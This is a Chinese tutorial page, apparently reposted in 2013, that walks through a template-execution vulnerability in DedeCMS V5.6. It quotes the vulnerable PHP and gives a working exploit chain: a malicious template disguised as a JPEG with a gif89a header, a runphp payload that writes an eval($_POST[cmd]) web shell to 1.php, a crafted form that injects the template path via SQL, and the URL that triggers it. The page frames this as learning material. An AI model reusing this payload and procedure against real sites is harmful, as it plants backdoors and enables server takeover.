您当前的位置: 首页 > CMS教程 > 织梦CMS教程 > DEDECMS网站管理系统模板执行漏洞

DEDECMS网站管理系统模板执行漏洞

作者:xiaoxiao 来源:未知 发布时间: 2013-11-04 16:27 点击:
DEDECMS网站管理系统模板执行漏洞 一个不小心,你的服务器就会被黑客攻破,比如数据库密码过于简单,服务器密码过于简单,或者CMS系统漏洞。 下面是一个DEDE的模板执行漏洞。 漏洞描述:Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表

DEDECMS网站管理系统模板执行漏洞

      DEDECMS网站管理系统模板执行漏洞
  
  一个不小心,你的服务器就会被黑客攻破,比如数据库密码过于简单,服务器密码过于简单,或者CMS系统漏洞。
  
  下面是一个DEDE的模板执行漏洞。
  
  漏洞描述:Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。
  
  1、member/article_edit.php文件(注入):
  
  漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
  
  //分析处理附加表数据
  $inadd_f = '';
  if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields
  {
  $addonfields = explode(';',$dede_addonfields);
  if(is_array($addonfields))
  {
  print_r($addonfields);
  foreach($addonfields as $v)
  {
  if($v=='')
  {
  continue;
  }
  $vs = explode(',',$v);
  if(!isset(${$vs[0]}))
  {
  ${$vs[0]} = '';
  }
  ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
  $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
  echo $inadd_f;
  }
  }
  }
  …
  if($addtable!='')
  {
  $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//执行构造的sql
  if(!$dsql->ExecuteNoneQuery($upQuery))
  {
  ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");
  exit();
  }
  }
  …
  
  2、include/inc_archives_view.php:
  
  这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
  
  …
  //issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
  if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
  {
  if(is_array($this->addTableRow))
  {
  $this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
  $this->Fields['templet'] = $this->addTableRow['templet'];//取值
  $this->Fields['userip'] = $this->addTableRow['userip'];
  }
  $this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
  $this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
  $this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
  }
  else
  {
  $this->Fields['templet'] = $this->Fields['redirecturl'] = '';
  }
  …
  //获得模板文件位置
  function GetTempletFile()
  {
  global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
  $cid = $this->ChannelUnit->ChannelInfos['nid'];
  if(!emptyempty($this->Fields['templet']))
  {
  $filetag = MfTemplet($this->Fields['templet']);
  if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
  }
  else
  {
  $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
  }
  $tid = $this->Fields['typeid'];
  $filetag = str_replace('{cid}', $cid,$filetag);
  $filetag = str_replace('{tid}', $tid,$filetag);
  $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
  if($cid=='spec')
  {
  if( !emptyempty($this->Fields['templet']) )
  {
  $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
  }
  else
  {
  $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
  }
  }
  if(!file_exists($tmpfile))
  {
  $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
  }
  return $tmpfile;
  }
  
  漏洞利用:
  
  1.上传一个模板文件:
  
  注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
  
  uploads/userup/2/12OMX04-15A.jpg
  
  模板内容是(如果限制图片格式,加gif89a):
  
  {dede:name runphp='yes'}
  $fp = @fopen("1.php", 'a');
  @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
  @fclose($fp);
  {/dede:name}
  
  2.修改刚刚发表的文章,查看源文件,构造一个表单:
  
  <form class="mTB10 mL10 mR10" name="addcontent" id="addcontent"
  action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
  <input type="hidden" name="dopost" value="save" />
  <input type="hidden" name="aid" value="2" />
  <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
  <input type="hidden" name="channelid" value="1" />
  <input type="hidden" name="oldlitpic" value="" />
  <input type="hidden" name="sortrank" value="1275972263" />
  <div id="mainCp">
  <h3 class="meTitle"><strong>修改文章</strong></h3>
  <div class="postForm">
  <label>标题:</label>
  <input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
  <label>标签TAG:</label>
  <input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
  <label>作者:</label>
  <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
  <label>隶属栏目:</label>
  <select name='typeid' size='1'>
  <option value='1' class='option3' selected=''>测试栏目</option>
  </select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
  <label>我的分类:</label>
  <select name='mtypesid' size='1'>
  <option value='0' selected>请选择分类...</option>
  <option value='1' class='option3' selected>hahahha</option>
  </select>
  <label>信息摘要:</label>
  <textarea name="description" id="description">1111111</textarea>
  (内容的简要说明)
  <label>缩略图:</label>
  <input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
  <input type='text' name='templet'
  value="../ uploads/userup/2/12OMX04-15A.jpg">
  <input type='text' name='dede_addonfields'
  value="templet,htmltext;">(这里构造)
  </div>
  <!-- 表单操作区域 -->
  <h3 class="meTitle">详细内容</h3>
  <div class="contentShow postForm">
  <input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank">
  <img border="0" alt="" src="/anquan/UploadFiles_3093/201008/20100819191753331.jpg" width="1010" height="456" /></a></div>
  <p>&lt;?phpinfo()?&gt;1111111</p>
  " style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" />
  <iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%"
  height="350" frameborder="0" scrolling="no"></iframe>
  <label>验证码:</label>
  <input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
  <img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle"
  style="cursor:pointer" onclick="this.src=this.src+'?'" />
  <button class="button2" type="submit">提交</button>
  <button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
  </div>
  </div>
  </form>
  
  提交,提示修改成功,则我们已经成功修改模板路径。
  
  3.访问修改的文章:
  
  假设刚刚修改的文章的aid为2,则我们只需要访问:
  http://127.0.0.1/dede/plus/view.php?aid=2
  
  即可以在plus目录下生成小马:1.php

分享到:
本文"DEDECMS网站管理系统模板执行漏洞"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(1)
100%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4